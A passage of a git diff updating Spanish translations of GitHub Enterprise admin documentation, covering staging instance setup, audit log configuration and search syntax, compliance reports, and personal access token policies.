license data, add the `-c` option to the command. For more information about the option, see [Using the backup and restore commands](https://github.com/github/backup-utils/blob/master/docs/usage.md#restoring-settings-tls-certificate-and-license) in the {% data variables.product.prodname_enterprise_backup_utilities %} documentation. +Si la instancia de almacenamiento provisional ya está configurada y quieres sobrescribir la configuración, el certificado y los datos de licencia, agrega la opción `-c` al comando. Para obtener más información sobre esta opción, consulta [Uso de los comandos de copia de seguridad y restauración](https://github.com/github/backup-utils/blob/master/docs/usage.md#restoring-settings-tls-certificate-and-license) en la documentación de {% data variables.product.prodname_enterprise_backup_utilities %}. -### 6. Review the instance's configuration +### 6. Revisar la configuración de la instancia -To access the staging instance using the same hostname, update your local hosts file to resolve the staging instance's hostname by IP address by editing the `/etc/hosts` file in macOS or Linux, or the `C:\Windows\system32\drivers\etc` file in Windows. +Para acceder a la instancia de almacenamiento provisional con el mismo nombre de host, actualiza el archivo hosts local para resolver el nombre de host de la instancia de almacenamiento provisional mediante la dirección IP; para ello, edita el archivo `/etc/hosts` en macOS o Linux, o el archivo `C:\Windows\system32\drivers\etc` en Windows. {% note %} -**Note**: Your staging instance must be accessible from the same hostname as your production instance. Changing the hostname for {% data variables.location.product_location %} is not supported. For more information, see "[Configuring a hostname](/admin/configuration/configuring-network-settings/configuring-a-hostname)." +**Nota**: La instancia de almacenamiento provisional debe ser accesible desde el mismo nombre de host que la instancia de producción. El nombre de host de {% data variables.location.product_location %} no se puede cambiar. Para más información, vea "[Configuración de un nombre de host](/admin/configuration/configuring-network-settings/configuring-a-hostname)". {% endnote %} -Then, review the staging instance's configuration in the {% data variables.enterprise.management_console %}. For more information, see "[Accessing the {% data variables.enterprise.management_console %}](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)." +Tras ello, revisa la configuración de la instancia de almacenamiento provisional en la {% data variables.enterprise.management_console %}. Para obtener más información, consulta "[Acceso a la {% data variables.enterprise.management_console %}](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)." {% warning %} -**Warning**: If you configured {% data variables.product.prodname_actions %} or {% data variables.product.prodname_registry %} for the staging instance, to avoid overwriting production data, ensure that the external storage configuration in the {% data variables.enterprise.management_console %} does not match your production instance. +**Advertencia**: Si has configurado {% data variables.product.prodname_actions %} o {% data variables.product.prodname_registry %} para la instancia de almacenamiento provisional, si quieres evitar que los datos de producción se sobrescriban, asegúrate de que la configuración de almacenamiento externo en la {% data variables.enterprise.management_console %} no coincide con la de la instancia de producción. {% endwarning %} -### 7. Apply the instance's configuration +### 7. Aplicar la configuración de la instancia -To apply the configuration from the {% data variables.enterprise.management_console %}, click **Save settings**. +Para aplicar la configuración desde la {% data variables.enterprise.management_console %}, haz clic en **Guardar configuración**. -## Further reading +## Información adicional -- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" +- «[Acerca de las actualizaciones a nuevas versiones](/admin/overview/about-upgrades-to-new-releases)» diff --git a/translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise.md b/translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise.md index 82146c1824..004a44b9e4 100644 --- a/translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise.md +++ b/translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise.md @@ -35,7 +35,8 @@ In addition to viewing your audit log, you can monitor activity in your enterpri As an enterprise owner{% ifversion ghes %} or site administrator{% endif %}, you can interact with the audit log data for your enterprise in several ways: - You can view the audit log for your enterprise. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)." -- You can search the audit log for specific events{% ifversion ghec %} and export audit log data{% endif %}. For more information, see "[Searching the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise)"{% ifversion ghec %} and "[Exporting the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise)"{% endif %}.{% ifversion audit-data-retention-tab %} +- You can search the audit log for specific events{% ifversion ghec %} and export audit log data{% endif %}. For more information, see "[Searching the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise)"{% ifversion ghec %} and "[Exporting the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise)"{% endif %}.{% ifversion token-audit-log %} +- You can identify all events that were performed by a specific access token. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)."{% endif %}{% ifversion audit-data-retention-tab %} - You can configure settings, such as the retention period for audit log events{% ifversion enable-git-events %} and whether Git events are included{% endif %}. For more information, see "[Configuring the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise)."{% endif %} {%- ifversion enterprise-audit-log-ip-addresses %} - You can display the IP address associated with events in the audit log. For more information, see "[Displaying IP addresses in the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise)." diff --git a/translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise.md b/translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise.md index 5c4f84902a..326ab3d8cd 100644 --- a/translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise.md +++ b/translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Configuring the audit log for your enterprise -intro: You can configure settings for your enterprise's audit log. +title: Configuración del registro de auditoría de la empresa +intro: Puedes configurar las opciones del registro de auditoría de la empresa. shortTitle: Configure audit logs permissions: Enterprise owners can configure the audit log. versions: @@ -10,47 +10,45 @@ topics: - Auditing - Enterprise - Logging +ms.openlocfilehash: f624607d5729d32d836efedf1fa355a96489a175 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106569' --- +## Acerca de la configuración del registro de auditoría -## About audit log configuration +Puedes configurar un período de retención para los datos del registro de auditoría y ver los detalles del almacenamiento de índices. -You can configure a retention period for audit log data and see index storage details. - -{% ifversion enable-git-events %} -After you configure a retention period, you can enable or disable Git-related events from appearing in the audit log. +{% ifversion enable-git-events %} Después de configurar un período de retención, puedes habilitar o deshabilitar que los eventos relacionados con Git aparezcan en el registro de auditoría. {% endif %} -## Configuring a retention period for audit log data +## Configuración de un período de retención para los datos del registro de auditoría -You can configure a retention period for audit log data for {% data variables.location.product_location %}. Data that exceeds the period you configure will be permanently removed from disk. +Puedes configurar un período de retención de los datos del registro de auditoría de {% data variables.location.product_location %}. Los datos que superen el período que configures se quitarán permanentemente del disco. -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.audit-log-tab %} -{% data reusables.audit_log.audit-data-retention-tab %} -1. Under "Configure audit log retention settings", select the dropdown menu and click a retention period. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %} {% data reusables.audit_log.audit-data-retention-tab %} +1. En "Configurar la configuración de retención del registro de auditoría", selecciona el menú desplegable y haz clic en un período de retención. - ![Screenshot of the dropdown menu for audit log retention settings](/assets/images/help/enterprises/audit-log-retention-dropdown.png) -1. Click **Save**. + ![Captura de pantalla del menú desplegable para la configuración de retención del registro de auditoría](/assets/images/help/enterprises/audit-log-retention-dropdown.png) +1. Haga clic en **Save**(Guardar). {% ifversion enable-git-events %} -## Managing Git events in the audit log +## Administración de eventos de Git en el registro de auditoría -You can enable or disable Git-related events, such as `git.clone` and `git.push`, from appearing in your audit log. For a list of the Git events are are logged, see "[Audit log events for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#git-category-actions)." +Puedes habilitar o deshabilitar eventos relacionados con Git, como `git.clone` y `git.push`, para que aparezcan en el registro de auditoría. Para obtener una lista de los eventos de Git, consulta "[Eventos de registro de auditoría para la empresa](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#git-category-actions)". -If you do enable Git events, due to the large number of Git events that are logged, we recommend monitoring your instance's file storage and reviewing your related alert configurations. For more information, see "[Monitoring storage](/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds#monitoring-storage)." +Si habilitas los eventos de Git, debido al gran número que se registran, se recomienda supervisar el almacenamiento de archivos de la instancia y revisar las configuraciones de alerta relacionadas. Para más información, consulta "[Supervisión del almacenamiento](/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds#monitoring-storage)". -Before you can enable Git events in the audit log, you must configure a retention period for audit log data other than "infinite." For more information, see "[Configuring a retention period for audit log data](#configuring-a-retention-period-for-audit-log-data)." +Para poder habilitar eventos de Git en el registro de auditoría, debes configurar un período de retención para los datos del registro de auditoría distinto a "infinito". Para más información, consulta "[Configuración de un período de retención para los datos del registro de auditoría](#configuring-a-retention-period-for-audit-log-data)". {% data reusables.audit_log.git-events-not-in-search-results %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.audit-log-tab %} -{% data reusables.audit_log.audit-data-retention-tab %} -1. Under "Git event opt-in", select or deselect **Enable git events in the audit-log**. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %} {% data reusables.audit_log.audit-data-retention-tab %} +1. En "Participación en eventos de Git", selecciona o anula la selección de **Habilitar eventos de Git en el registro de auditoría**. - ![Screenshot of the checkbox to enable Git events in the audit log](/assets/images/help/enterprises/enable-git-events-checkbox.png) -1. Click **Save**. + ![Captura de pantalla de la casilla para habilitar eventos de Git en el registro de auditoría](/assets/images/help/enterprises/enable-git-events-checkbox.png) +1. Haga clic en **Save**(Guardar). {% endif %} diff --git a/translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/index.md b/translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/index.md index 87780faaeb..223100c7f2 100644 --- a/translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/index.md +++ b/translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/index.md @@ -14,15 +14,16 @@ children: - /configuring-the-audit-log-for-your-enterprise - /displaying-ip-addresses-in-the-audit-log-for-your-enterprise - /searching-the-audit-log-for-your-enterprise + - /identifying-audit-log-events-performed-by-an-access-token - /exporting-audit-log-activity-for-your-enterprise - /streaming-the-audit-log-for-your-enterprise - /using-the-audit-log-api-for-your-enterprise - /audit-log-events-for-your-enterprise -ms.openlocfilehash: 8724cfa0bb5b5b98e209981cd717ab4a5b17e712 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: c7e0a9231e74b94f80bb4048d9854cdade2f556a +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147424804' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159803' --- diff --git a/translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise.md b/translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise.md index 124c969b01..901048a1e8 100644 --- a/translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise.md +++ b/translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Búsqueda en el registro de auditoría de la empresa -intro: Puedes buscar una lista extensa de acciones auditadas en tu empresa. +title: Searching the audit log for your enterprise +intro: You can search an extensive list of audited actions in your enterprise. shortTitle: Search audit logs permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}can search the audit log.' redirect_from: @@ -19,78 +19,76 @@ topics: - Enterprise - Logging miniTocMaxHeadingLevel: 3 -ms.openlocfilehash: 6289b83d40aecf5208ae377be953ca65baba4a7d -ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/10/2022 -ms.locfileid: '147879430' --- -## Acerca de la búsqueda en el registro de auditoría de empresa -Puede buscar en el registro de auditoría de la empresa directamente desde la interfaz de usuario mediante la lista desplegable **Filtros** o si escribe una consulta de búsqueda. +## About search for the enterprise audit log - ![Consulta de búsqueda](/assets/images/enterprise/site-admin-settings/search-query.png) +You can search your enterprise audit log directly from the user interface by using the **Filters** dropdown, or by typing a search query. -Para más información sobre cómo ver el registro de auditoría de la empresa, vea "[Acceso al registro de auditoría de la empresa](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)". + ![Search query](/assets/images/enterprise/site-admin-settings/search-query.png) + +For more information about viewing your enterprise audit log, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)." {% data reusables.audit_log.git-events-not-in-search-results %} -También puede usar la API para recuperar eventos de registro de auditoría. Para más información, vea "[Uso de la API de registro de auditoría para la empresa](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise)". +You can also use the API to retrieve audit log events. For more information, see "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise)." -No puedes buscar entradas mediante texto. Sin embargo, puedes construir consultas de búsqueda utilizando una variedad de filtros. Muchos operadores que se utilizan cuando se consulta el registro, tales como `-`, `>` o `<`, coinciden con el mismo formato de búsqueda en {% data variables.product.product_name %}. Para más información, vea "[Búsqueda en {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)". +You cannot search for entries using text. You can, however, construct search queries using a variety of filters. Many operators used when querying the log, such as `-`, `>`, or `<`, match the same format as searching across {% data variables.product.product_name %}. For more information, see "[Searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." {% note %} -**Nota**: {% data reusables.audit_log.retention-periods %} +**Note**: {% data reusables.audit_log.retention-periods %} {% endnote %} -## Filtros de consulta de búsqueda +## Search query filters -Filter| Descripción +Filter| Description --------------:| ----------- -`Yesterday's activity` | Todas las acciones creadas en el último día. -`Enterprise account management` | Todas las acciones de la categoría `business`. -`Organization membership` | Todas las acciones para cuando se ha invitado a un nuevo usuario a unirse a una organización. -`Team management` | Todas las acciones relacionadas con la administración de equipos.
- Cuando se ha agregado o quitado una cuenta de usuario o un repositorio de un equipo
- Cuando un mantenedor de equipo se ha promocionado o degradado
- Cuando se ha eliminado un equipo -`Repository management` | Todas las acciones para la administración de repositorios.
- Cuando se ha creado o eliminado un repositorio
- Cuando se ha cambiado la visibilidad del repositorio
- Cuando se ha agregado o quitado un equipo de un repositorio{% ifversion ghec %} -`Billing updates` | Todas las acciones relacionadas con la forma en que la empresa paga por {% data variables.product.prodname_dotcom %} y con cuándo se ha cambiado la dirección de correo electrónico de facturación.{% endif %} -`Hook activity` | Todas las acciones de webhooks y enlaces de recepción previa. -`Security management` | Todas las acciones relacionadas con las claves SSH, las claves de implementación, las claves de seguridad, 2FA y la autorización de credenciales de inicio de sesión único de SAML y las alertas de vulnerabilidades para los repositorios. +`Yesterday's activity` | All actions created in the past day. +`Enterprise account management` | All actions in the `business` category. +`Organization membership` | All actions for when a new user was invited to join an organization. +`Team management` | All actions related to team management.
- When a user account or repository was added or removed from a team
- When a team maintainer was promoted or demoted
- When a team was deleted +`Repository management` | All actions for repository management.
- When a repository was created or deleted
- When the repository visibility was changed
- When a team was added or removed from a repository{% ifversion ghec %} +`Billing updates` | All actions concerning how your enterprise pays for {% data variables.product.prodname_dotcom %} and for when your billing email address was changed.{% endif %} +`Hook activity` | All actions for webhooks and pre-receive hooks. +`Security management` | All actions concerning SSH keys, deploy keys, security keys, 2FA, and SAML single sign-on credential authorization, and vulnerability alerts for repositories. -## Sintaxis de la consulta de búsqueda +## Search query syntax -Puede redactar una consulta de búsqueda de uno o más pares `key:value` separados por los operadores lógicos AND/OR. Por ejemplo, para ver todas las acciones que han afectado al repositorio `octocat/Spoon-Knife` desde principios de 2017: +You can compose a search query from one or more `key:value` pairs, separated by AND/OR logical operators. For example, to see all actions that have affected the repository `octocat/Spoon-Knife` since the beginning of 2017: `repo:"octocat/Spoon-Knife" AND created:>=2017-01-01` -Los pares `key:value` que se pueden usar en una consulta de búsqueda son los siguientes: +The `key:value` pairs that can be used in a search query are: -Clave | Value +Key | Value --------------:| -------------------------------------------------------- -`actor_id` | ID de la cuenta de usuario que inició la acción -`actor` | Nombre de la cuenta de usuario que inició la acción -`oauth_app_id` | ID de la aplicación OAuth asociada con la acción -`action` | Nombre de la acción auditada -`user_id` | ID del usuario afectado por la acción -`user` | Nombre del usuario afectado por la acción -`repo_id` | ID del repositorio afectado por la acción (si corresponde) -`repo` | Nombre del repositorio afectado por la acción (si corresponde) -`actor_ip` | Dirección IP desde donde se inició la acción -`created` | Hora a la que se ha producido la acción{% ifversion ghes %}. Si consulta el registro de auditoría desde el panel de administración del sitio, use `created_at` en su lugar{% endif %} -`from` | Vista desde donde se inició la acción -`note` | Información variada de evento específico (en texto simple o en formato JSON) -`org` | Nombre de la organización afectada por la acción (si corresponde) -`org_id` | ID de la organización afectada por la acción (si corresponde) -`business` | Nombre de la empresa afectada por la acción (si procede) -`business_id` | Id. de la empresa afectada por la acción (si procede) +`actor_id` | ID of the user account that initiated the action +`actor` | Name of the user account that initiated the action +`oauth_app_id` | ID of the OAuth application associated with the action +`action` | Name of the audited action +`user_id` | ID of the user affected by the action +`user` | Name of the user affected by the action +`repo_id` | ID of the repository affected by the action (if applicable) +`repo` | Name of the repository affected by the action (if applicable) +`actor_ip` | IP address from which the action was initiated +`created` | Time at which the action occurred{% ifversion ghes %}. If querying the audit log from the site admin dashboard, use `created_at` instead{% endif %} +`from` | View from which the action was initiated +`note` | Miscellaneous event-specific information (in either plain text or JSON format) +`org` | Name of the organization affected by the action (if applicable) +`org_id` | ID of the organization affected by the action (if applicable) +`business` | Name of the enterprise affected by the action (if applicable) +`business_id` | ID of the enterprise affected by the action (if applicable) +{%- ifversion token-audit-log %} +`hashed_token` | The token used to authenticate for the action (if applicable, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)") +{%- endif %} -Para ver las acciones agrupadas por categoría, también puede usar el calificador de acción como un par `key:value`. Para más información, vea "[Búsqueda en función de la acción realizada](#search-based-on-the-action-performed)". +To see actions grouped by category, you can also use the action qualifier as a `key:value` pair. For more information, see "[Search based on the action performed](#search-based-on-the-action-performed)." -Para obtener una lista completa de las acciones del registro de auditoría de la empresa, vea "[Acciones del registro de auditoría para la empresa](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)". +For a full list of actions in your enterprise audit log, see "[Audit log actions for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)." -## Buscar el registro de auditoría +## Searching the audit log {% data reusables.audit_log.audit-log-search-by-operation %} @@ -98,40 +96,46 @@ Para obtener una lista completa de las acciones del registro de auditoría de la {% data reusables.audit_log.audit-log-search-by-user %} -### Búsqueda basada en la acción realizada +### Search based on the action performed -Para buscar eventos específicos, use el calificador `action` en la consulta. Por ejemplo: +To search for specific events, use the `action` qualifier in your query. For example: - * `action:team` busca todos los eventos agrupados dentro de la categoría de equipo. - * `-action:hook` excluye todos los eventos de la categoría de webhook. + * `action:team` finds all events grouped within the team category. + * `-action:hook` excludes all events in the webhook category. -Cada categoría tiene un conjunto de acciones asociadas que puedes filtrar. Por ejemplo: +Each category has a set of associated actions that you can filter on. For example: - * `action:team.create` busca todos los eventos en los que se ha creado un equipo. - * `-action:hook.events_changed` excluye todos los eventos en los que se han modificado los eventos de un webhook. + * `action:team.create` finds all events where a team was created. + * `-action:hook.events_changed` excludes all events where the events on a webhook have been altered. -Las acciones que se pueden encontrar en el registro de auditoría de la empresa se agrupan en las categorías siguientes: +Actions that can be found in your enterprise audit log are grouped within the following categories: {% data reusables.audit_log.audit-log-action-categories %} -### Búsqueda basada en el momento de la acción +### Search based on time of action -Use el calificador `created` para filtrar los eventos del registro de auditoría en función de cuándo se hayan producido. +Use the `created` qualifier to filter events in the audit log based on when they occurred. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -Por ejemplo: +For example: - * `created:2014-07-08` busca todos los eventos que se han producido el 8 de julio de 2014. - * `created:>=2014-07-08` busca todos los eventos que se han producido el 8 de julio de 2014 o después. - * `created:<=2014-07-08` busca todos los eventos que se han producido el 8 de julio de 2014 o antes. - * `created:2014-07-01..2014-07-31` busca todos los eventos que se han producido durante el mes de julio de 2014. + * `created:2014-07-08` finds all events that occurred on July 8th, 2014. + * `created:>=2014-07-08` finds all events that occurred on or after July 8th, 2014. + * `created:<=2014-07-08` finds all events that occurred on or before July 8th, 2014. + * `created:2014-07-01..2014-07-31` finds all events that occurred in the month of July 2014. -### Búsqueda basada en la ubicación +### Search based on location -Con el calificador `country`, puede filtrar los eventos del registro de auditoría en función del país de origen. Puede usar un código corto de dos letras del país o el nombre completo. Los países con espacios en el nombre se tendrán que incluir entre comillas. Por ejemplo: +Using the qualifier `country`, you can filter events in the audit log based on the originating country. You can use a country's two-letter short code or full name. Countries with spaces in their name will need to be wrapped in quotation marks. For example: - * `country:de` busca todos los eventos que se han producido en Alemania. - * `country:Mexico` busca todos los eventos que se han producido en México. - * `country:"United States"` todos buscan eventos que se han producido en Estados Unidos. + * `country:de` finds all events that occurred in Germany. + * `country:Mexico` finds all events that occurred in Mexico. + * `country:"United States"` all finds events that occurred in the United States. + +{% ifversion token-audit-log %} +### Search based on the token that performed the action + +Use the `hashed_token` qualifier to search based on the token that performed the action. Before you can search for a token, you must generate a SHA-256 hash. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)." +{% endif %} \ No newline at end of file diff --git a/translations/es-ES/content/admin/overview/accessing-compliance-reports-for-your-enterprise.md b/translations/es-ES/content/admin/overview/accessing-compliance-reports-for-your-enterprise.md index 5b2ef338fb..14b7422602 100644 --- a/translations/es-ES/content/admin/overview/accessing-compliance-reports-for-your-enterprise.md +++ b/translations/es-ES/content/admin/overview/accessing-compliance-reports-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Accessing compliance reports for your enterprise -intro: 'You can access {% data variables.product.company_short %}''s compliance reports, such as our SOC reports and Cloud Security Alliance CAIQ self-assessment (CSA CAIQ), for your enterprise.' +title: Acceder a los reportes de cumplimiento de tu empresa +intro: 'Puedes acceder a los informes de cumplimiento de {% data variables.product.company_short %}, como los informes del SOC y la autoevaluación de Cloud Security Alliance CAIQ (CSA CAIQ), para tu empresa.' versions: ghec: '*' type: how_to @@ -10,23 +10,27 @@ topics: - Fundamentals permissions: Enterprise owners can access compliance reports for the enterprise. shortTitle: Access compliance reports +ms.openlocfilehash: d9391e9bb029620ee9c034a5ad3092588e914c36 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148009677' --- +## Acerca de los reportes de cumplimiento de {% data variables.product.company_short %} -## About {% data variables.product.company_short %}'s compliance reports - -You can access {% data variables.product.company_short %}'s compliance reports in your enterprise settings. +Puede acceder a los informes de cumplimiento de {% data variables.product.company_short %} en la configuración de la empresa. {% data reusables.security.compliance-report-list %} -## Accessing compliance reports for your enterprise +## Acceder a los reportes de cumplimiento de tu empresa -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.enterprise-accounts-compliance-tab %} -1. Under "Resources", to the right of the report you want to access, click {% octicon "download" aria-label="The Download icon" %} **Download** or {% octicon "link-external" aria-label="The external link icon" %} **View**. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.enterprise-accounts-compliance-tab %} +1. En "Recursos", a la derecha del informe al que quiera acceder, haga clic en {% octicon "download" aria-label="The Download icon" %} **Descargar** o {% octicon "link-external" aria-label="The external link icon" %} **Ver**. {% data reusables.security.compliance-report-screenshot %} -## Further reading +## Información adicional -- "[Accessing compliance reports for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization)"{% ifversion enterprise-member-csv %} -- "[Exporting membership information for your enterprise](/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise)"{% endif %} +- "[Acceso a los informes de cumplimiento de la organización](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization)"{% ifversion enterprise-member-csv %} +- "[Exportación de la información de pertenencia de la empresa](/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise)"{% endif %} diff --git a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise.md b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise.md new file mode 100644 index 0000000000..a946148482 --- /dev/null +++ b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise.md @@ -0,0 +1,64 @@ +--- +title: Aplicación de directivas de tokens de acceso personal en la empresa +intro: 'Los propietarios de empresas pueden controlar si permitir el uso de un {% data variables.product.pat_v2 %} y de {% data variables.product.pat_v1_plural %}, así como requerir aprobación para un {% data variables.product.pat_v2 %}.' +versions: + feature: pat-v2-enterprise +shortTitle: '{% data variables.product.pat_generic_caps %} policies' +ms.openlocfilehash: 6252f7ac67fe77cbe20ab85ff2cbd6f04ac17905 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107009' +--- +{% note %} + +**Nota**: {% data reusables.user-settings.pat-v2-beta %} + +Durante la versión beta, las empresas deben participar en el uso de {% data variables.product.pat_v2 %}. Si tu empresa aún no participa, se te pedirá que participes y establezcas directivas siguiendo los pasos que se indican a continuación. + +Incluso si una empresa no participa en el uso de {% data variables.product.pat_v2 %}, las organizaciones propiedad de esa empresa sí pueden seguir participando. Todos los usuarios, incluidos los {% data variables.product.prodname_emus %}, pueden crear un {% data variables.product.pat_v2 %} que acceda a los recursos propiedad del usuario (como los repositorios creados en su cuenta), aun cuando la empresa no participe en el uso de {% data variables.product.pat_v2 %}. + +{% endnote %} + +## Restricción del acceso mediante un {% data variables.product.pat_v2 %} + +Los propietarios de empresas pueden impedir el acceso a los recursos privados e internos de su propiedad mediante un {% data variables.product.pat_v2 %}. Con ese {% data variables.product.pat_v2_caps %} seguirá siendo posible acceder a los recursos públicos dentro de las organizaciones. Esta configuración solo controla el acceso mediante un {% data variables.product.pat_v2 %}s, no mediante {% data variables.product.pat_v1_plural %}. Para obtener más información sobre cómo restringir el acceso mediante {% data variables.product.pat_v1_plural %}, consulta "[Restricción del acceso mediante {% data variables.product.pat_v1_plural %}](#restricting-access-by-personal-access-tokens-classic)" en esta página. + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} +1. En {% octicon "law" aria-label="The law icon" %} **Directivas**, haz clic en **Organizaciones**. +1. En **Restringir el acceso con un {% data variables.product.pat_v2 %}** , selecciona la opción acorde a tus necesidades: + - **Permitir que las organizaciones configuren los requisitos de acceso**: cada organización propiedad de la empresa puede decidir si restringir el acceso mediante un {% data variables.product.pat_v2 %}. + - **Restringir el acceso mediante un {% data variables.product.pat_v2 %}** : no se puede acceder a las organizaciones pertenecientes a la empresa mediante un {% data variables.product.pat_v2_caps %}. Las claves SSH creadas con un {% data variables.product.pat_v2 %} seguirán funcionando. Las organizaciones no pueden invalidar esta configuración. + - **Permitir el 